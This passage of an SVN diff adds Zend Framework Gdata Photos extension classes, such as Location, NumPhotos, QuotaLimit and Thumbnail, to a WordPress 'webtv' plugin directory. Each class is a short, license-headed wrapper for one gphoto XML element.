+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Location.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Location.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Location.php	(revision 44)
@@ -0,0 +1,61 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * Represents the gphoto:location element used by the API.
+ * This indicates the number of bytes of storage used by an album.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_Extension_Location extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gphoto';
+    protected $_rootElement = 'location';
+
+    /**
+     * Constructs a new Zend_Gdata_Photos_Extension_Location object.
+     *
+     * @param string $text (optional) The value to represent.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/MaxPhotosPerAlbum.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/MaxPhotosPerAlbum.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/MaxPhotosPerAlbum.php	(revision 44)
@@ -0,0 +1,62 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * Represents the gphoto:maxPhotosPerAlbum element used by the API.
+ * This class represents the maximum number of photos allowed in an
+ * album.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_Extension_MaxPhotosPerAlbum extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gphoto';
+    protected $_rootElement = 'maxPhotosPerAlbum';
+
+    /**
+     * Constructs a new Zend_Gdata_Photos_Extension_MaxPhotosPerAlbum object.
+     *
+     * @param string $text (optional) The value being represented.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Name.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Name.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Name.php	(revision 44)
@@ -0,0 +1,61 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * Represents the gphoto:name element used by the API.
+ * This indicates the URL-usable name for an album.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_Extension_Name extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gphoto';
+    protected $_rootElement = 'name';
+
+    /**
+     * Constructs a new Zend_Gdata_Photos_Extension_Name object.
+     *
+     * @param string $text (optional) The value to represent.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Nickname.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Nickname.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Nickname.php	(revision 44)
@@ -0,0 +1,61 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * Represents the gphoto:nickname element used by the API.
+ * This class represents the nickname for a user.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_Extension_Nickname extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gphoto';
+    protected $_rootElement = 'nickname';
+
+    /**
+     * Constructs a new Zend_Gdata_Photos_Extension_Nickname object.
+     *
+     * @param string $text (optional) The value being represented.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/NumPhotos.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/NumPhotos.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/NumPhotos.php	(revision 44)
@@ -0,0 +1,61 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * Represents the gphoto:numphotos element used by the API.
+ * This indicates the number of photos in an album.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_Extension_NumPhotos extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gphoto';
+    protected $_rootElement = 'numphotos';
+
+    /**
+     * Constructs a new Zend_Gdata_Photos_Extension_NumPhotos object.
+     *
+     * @param string $text (optional) The value to represent.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/NumPhotosRemaining.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/NumPhotosRemaining.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/NumPhotosRemaining.php	(revision 44)
@@ -0,0 +1,61 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * Represents the gphoto:numphotosremaining element used by the API.
+ * This indicates the number of photos remaining in an album.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_Extension_NumPhotosRemaining extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gphoto';
+    protected $_rootElement = 'numphotosremaining';
+
+    /**
+     * Constructs a new Zend_Gdata_Photos_Extension_NumPhotosRemaining object.
+     *
+     * @param string $text (optional) The value to represent.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/PhotoId.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/PhotoId.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/PhotoId.php	(revision 44)
@@ -0,0 +1,60 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * Represents the gphoto:id element used by the Picasa API.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_Extension_PhotoId extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gphoto';
+    protected $_rootElement = 'id';
+
+    /**
+     * Constructs a new Zend_Gdata_Photos_Extension_PhotoId object.
+     *
+     * @param string $text (optional) The value to represent.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Position.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Position.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Position.php	(revision 44)
@@ -0,0 +1,61 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * Represents the gphoto:position element used by the API.
+ * The ordinal position of a photo within an album.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_Extension_Position extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gphoto';
+    protected $_rootElement = 'position';
+
+    /**
+     * Constructs a new Zend_Gdata_Photos_Extension_Position object.
+     *
+     * @param string $text (optional) The value to represent.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/QuotaCurrent.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/QuotaCurrent.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/QuotaCurrent.php	(revision 44)
@@ -0,0 +1,61 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * Represents the gphoto:quotaCurrent element used by the API.
+ * This class represents the number of bytes of storage used by a user.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_Extension_QuotaCurrent extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gphoto';
+    protected $_rootElement = 'quotaCurrent';
+
+    /**
+     * Constructs a new Zend_Gdata_Photos_Extension_QuotaCurrent object.
+     *
+     * @param string $text (optional) The value being represented.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/QuotaLimit.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/QuotaLimit.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/QuotaLimit.php	(revision 44)
@@ -0,0 +1,62 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * Represents the gphoto:quotaLimit element used by the API.
+ * This class represents the number of bytes of storage available for
+ * a user.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_Extension_QuotaLimit extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gphoto';
+    protected $_rootElement = 'quotaLimit';
+
+    /**
+     * Constructs a new Zend_Gdata_Photos_Extension_QuotaLimit object.
+     *
+     * @param string $text (optional) The value being represented.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Rotation.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Rotation.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Rotation.php	(revision 44)
@@ -0,0 +1,62 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * Represents the gphoto:rotation element used by the API.
+ * The rotation of a photo in degrees. Will only be shown if the
+ * rotation has not already been applied to the image.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_Extension_Rotation extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gphoto';
+    protected $_rootElement = 'rotation';
+
+    /**
+     * Constructs a new Zend_Gdata_Photos_Extension_Rotation object.
+     *
+     * @param string $text (optional) The value to represent.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Size.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Size.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Size.php	(revision 44)
@@ -0,0 +1,61 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * Represents the gphoto:size element used by the API.
+ * The size of a photo in bytes.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_Extension_Size extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gphoto';
+    protected $_rootElement = 'size';
+
+    /**
+     * Constructs a new Zend_Gdata_Photos_Extension_Size object.
+     *
+     * @param string $text (optional) The value to represent.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Thumbnail.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Thumbnail.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Thumbnail.php	(revision 44)
@@ -0,0 +1,61 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * Represents the gphoto:thumbnail element used by the API.
+ * This class represents the URI for a thumbnail image.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_Extension_Thumbnail extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gphoto';
+    protected $_rootElement = 'thumbnail';
+
+    /**
+     * Constructs a new Zend_Gdata_Photos_Extension_Thumbnail object.
+     *
+     * @param string $text (optional) The thumbnail URI to represent.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Timestamp.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Timestamp.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Timestamp.php	(revision 44)
@@ -0,0 +1,62 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * Represents the gphoto:timestamp element used by the API.
+ * The timestamp of a photo in milliseconds since January 1, 1970.
+ * This date is either set externally or based on EXIF data.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_Extension_Timestamp extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gphoto';
+    protected $_rootElement = 'timestamp';
+
+    /**
+     * Constructs a new Zend_Gdata_Photos_Extension_Timestamp object.
+     *
+     * @param string $text (optional) The value to represent.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/User.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/User.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/User.php	(revision 44)
@@ -0,0 +1,61 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
